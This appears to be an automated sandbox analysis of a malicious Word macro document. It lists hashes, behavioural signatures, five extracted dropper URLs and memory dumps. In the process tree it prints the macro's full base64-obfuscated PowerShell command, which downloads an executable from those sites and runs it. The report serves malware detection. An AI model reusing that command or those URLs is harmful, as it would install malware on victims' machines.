Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    17-09-2024 10:57

General

  • Target

    e6ab9a446b83f844455158ae671c1977_JaffaCakes118.doc

  • Size

    183KB

  • MD5

    e6ab9a446b83f844455158ae671c1977

  • SHA1

    8d871c28578b49a13304ee9a3d6490425e30a91e

  • SHA256

    6da70e0246338ef86cc0dd0e60504127ec28ccf40607ae2c3b78d62c6a91ea5c

  • SHA512

    e04084b56726fa10a286ce6fbe9b91f654d72d886c4ad85da5e604e1729ffb2c0ea5b9ac80aad92002949ff03674bb00583b272d0c1142e51846958f023f59b9

  • SSDEEP

    3072:s77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qPVxuXKc29HzPBx4Pr1yL+xLtNX:s77HUUUUUUUUUUUUUUUUUUUT52VWcXKq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://alpinaemlak.com/wp-contents/5SZUz/

exe.dropper

http://celebration-studio.com/wp-admin/Z0Gik/

exe.dropper

http://absimpex.com/images/9KOW/

exe.dropper

http://jaspinformatica.com/boxcloud/aX/

exe.dropper

https://inovatips.com/9yorcan/Y1io/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e6ab9a446b83f844455158ae671c1977_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1620
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHelL.exe
      PoWeRsHelL -e JABpAEEAYwBvAF8AeABVAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAJwBEAEEAJwAsACcAdwA0AEEAJwAsACcAQQBDAHcAJwApADsAJABCAEEAQQAxAHgAQQAgAD0AIAAnADQANAAxACcAOwAkAEUAQQBvAEIAYwBBAEEAPQAoACIAewAwAH0AewAxAH0AewAyAH0AIgAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAaQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBRACcALAAnAEQAQwAxACcAKQApACwAJwBCACcALAAnAGsAYwAnACkAOwAkAEwAUQBCAEEARwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEEAQQAxAHgAQQArACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHgAZQAnACwAJwAuAGUAJwApADsAJABMAEEAbwBVAFUAQQBBAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnADEAQgAnACwAJwBCAEEAQQAnACwAJwBmAG8AQQAnACkAOwAkAG4AWgBBAHgAQQBEAEEAPQAmACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AYAB3AGUAQgBgAGMATABgAEkAZQBgAE4AdAA7ACQAYwBVAFEAQQBDAEEAUQA9ACgAIgB7ADMANwB9AHsAMwA0AH0AewAwAH0AewAzADMAfQB7ADkAfQB7ADIAOAB9AHsANAAwAH0AewA0ADMAfQB7ADEANQB9AHsANQB9AHsAMQB9AHsANAB9AHsAMwA1AH0AewAzADYAfQB7ADEANAB9AHsANgB9AHsANwB9AHsAMgA0AH0AewAzADEAfQB7ADEAMgB9AHsAMwA4AH0AewAyADYAfQB7ADEAOAB9AHsAMgA3AH0AewAzAH0AewA0ADIAfQB7ADMAMAB9AHsAMQA5AH0AewAzADkAfQB7ADIAMgB9AHsAOAB9AHsANAAxAH0AewAyADEAfQB7ADEANgB9AHsAMgB9AHsAMQAwAH0AewAxADEAfQB7ADIAOQB9AHsAMgAwAH0AewAxADMAfQB7ADIAMwB9AHsAMQA3AH0AewAzADIAfQB7ADIANQB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBwACcALAAnAGkAbgBhACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAbwAuACcALAAnAGMAbwBtACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAC8AJwAsACcAOQAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBpAG0AYQBnACcALAAnAGUAcwAnACkAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAcAAtACcALAAnAC8AdwAnACkALAAnAHUAZABpACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBaADAARwAnACwAJwBpACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGsALwAnACwAJwBAAGgAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBpAGMAYQAnACwAJwAuACcAKQAsACcAYQBrACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBYAC8AJwAsACcAQABoACcAKQAsACcAdAAnACwAJwBhACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAC8AJwAsACcAaQBuAG8AdgAnACkALAAnAGEAdAAnACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAG4ALwAnACwAJwBtAGkAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHQAaQBvACcALAAnAGUAYgByAGEAJwApACwAJwAtAHMAdAAnACwAJwBuACcAKQAsACcAZAAvACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AIgAtAGYAIAAnADkAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwAnACwAJwBvAG0ALwAnACkALAAnAHAAcwAuACcALAAnAHkAbwAnACkALAAnAG0AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAYQBzACcALAAnAHAAaQAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBwACcALAAnAHMAOgAvACcAKQAsACcAbwB1ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBhAHQAJwAsACcAcgBtACcAKQAsACcAaQAnACwAJwB0ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAGkAbwAvACcALAAnADEAJwApACwAJwBZACcAKQAsACcALgBjAG8AJwAsACcALwAnACwAJwAuAGMAJwAsACcAdAAnACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAIAAnAHQAJwAsACcAagAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAC8ALwAnACwAJwB0AHAAOgAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHQAcAAnACwAJwA6AC8ALwAnACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAGEAbgAvACcALAAnAHIAYwAnACkALAAnAGUAbQBsACcALAAnAGEAbAAnACwAJwBhACcALAAnAGQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAaAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwB0AHQAcAA6ACcALAAnAC8ALwAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBiAHMAaQAnACwAJwBtACcAKQAsACcAcAAnACwAJwBlAHgAJwApACwAJwBuAGYAbwAnACwAKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAJwA6ACcALAAnADUAUwBaACcALAAnAFUAegAvACcALAAoACIAewAxAH0AewAzAH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcAdwBwAC0AYwBvAG4AJwAsACcAbwAnACwAJwB0AGUAbgB0AHMALwAnACwAJwBtAC8AJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBAACcALAAnAGgAdAB0AHAAJwApACkALAAoACIAewAzAH0AewAwAH0AewAyAH0AewAxAH0AIgAtAGYAIAAnAGIAbwAnACwAJwBsACcALAAnAHgAYwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAG0ALwAnACwAJwBjAG8AJwApACkALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAIAAnAE8AVwAnACwAJwBLACcALAAnAC8AQABoACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcALwAvACcALAAnAGMAZQAnACkAKQApAC4AIgBTAGAAcABMAEkAVAAiACgAJwBAACcAKQA7ACQAdQBCAEQANAB4AEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAG8AJwAsACcAYwAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwA0AEEAJwAsACcANABDAEEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHgAQQBaAEEAQwAgAGkAbgAgACQAYwBVAFEAQQBDAEEAUQApAHsAdAByAHkAewAkAG4AWgBBAHgAQQBEAEEALgAiAEQAYABvAHcAbgBgAGwAbwBgAEEAZABGAGkATABlACIAKAAkAEEAeABBAFoAQQBDACwAIAAkAEwAUQBCAEEARwBvACkAOwAkAEsAawBBAEIAdwBEAEEAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGoAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBRAEEAJwAsACcAeABfAGMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATABRAEIAQQBHAG8AKQAuACIATABgAGUATgBnAHQAaAAiACAALQBnAGUAIAAyADcAMgA4ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABRAEIAQQBHAG8AOwAkAHoAawBBAG8AQQBCAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBBAEcAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAQQBjAEEAJwAsACcATAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQBVADQAUQBHAF8AQwBrAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACcANAAnACwAJwBBAEQAJwAsACcAWgBrAEEAJwApACwAJwBTACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcQBjAEEAVQBBAEMAeABvAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBKAG8AJwAsACcAQgBEAFgAJwAsACcARAAxACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      bf64cc3571006ce61fc8278705a6174f

      SHA1

      da653c378819d9125ce6753c48991086dd5ee48a

      SHA256

      cd198437b1340fa630b04cc0540ec1027f80cf02c425b5acda029952961c03eb

      SHA512

      828273b89a10ac8904b9b2ec8e4d94c1d0b2281dfb558440b33058f6ec7d9ae23cad84d8789bdaa0c198aca772a5f16ee226a49bb6e0abc20aaddf31f8eca065

    • memory/2520-24-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/2520-2-0x00000000713CD000-0x00000000713D8000-memory.dmp

      Filesize

      44KB

    • memory/2520-6-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/2520-7-0x0000000006B40000-0x0000000006C40000-memory.dmp

      Filesize

      1024KB

    • memory/2520-11-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/2520-23-0x00000000713CD000-0x00000000713D8000-memory.dmp

      Filesize

      44KB

    • memory/2520-0-0x000000002FC31000-0x000000002FC32000-memory.dmp

      Filesize

      4KB

    • memory/2520-25-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/2520-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2520-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2520-42-0x00000000713CD000-0x00000000713D8000-memory.dmp

      Filesize

      44KB

    • memory/2804-17-0x000000001B550000-0x000000001B832000-memory.dmp

      Filesize

      2.9MB

    • memory/2804-18-0x0000000002870000-0x0000000002878000-memory.dmp

      Filesize

      32KB